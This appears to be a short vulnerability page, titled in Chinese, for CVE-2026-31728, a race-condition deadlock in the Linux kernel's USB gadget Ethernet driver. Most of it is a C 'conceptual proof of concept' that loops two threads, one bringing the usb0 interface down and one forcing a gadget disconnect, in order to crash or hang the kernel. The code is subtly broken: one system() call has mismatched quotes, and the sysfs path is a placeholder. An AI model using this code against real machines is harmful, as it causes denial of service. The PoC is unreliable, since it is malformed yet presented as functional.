CVE-2026-31728 Linux内核USB小工具竞致死锁漏洞

/* * Conceptual Proof of Concept for CVE-2026-31728 * This code attempts to trigger the race condition between * gether_disconnect and eth_stop in the Linux kernel. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Simulate the operations that trigger the vulnerability void* trigger_ether_stop(void* arg) { // In a real scenario, this corresponds to bringing down the interface // e.g., 'ip link set usb0 down' which calls eth_stop() while(1) { // System call or ioctl to stop network interface system("ip link set usb0 down"); usleep(100); } return NULL; } void* trigger_gadget_disconnect(void* arg) { // In a real scenario, this corresponds to disconnecting the USB gadget // e.g., via configfs or physical disconnect triggering gether_disconnect() while(1) { // System call to disconnect USB gadget system("echo " > /sys/class/udc/.../disconnect"); // Pseudo path usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Triggering race condition for CVE-2026-31728...\n"); // Create threads to race against each other pthread_create(&t1, NULL, trigger_ether_stop, NULL); pthread_create(&t2, NULL, trigger_gadget_disconnect, NULL); // Wait for threads (in practice, the kernel may crash before this) pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }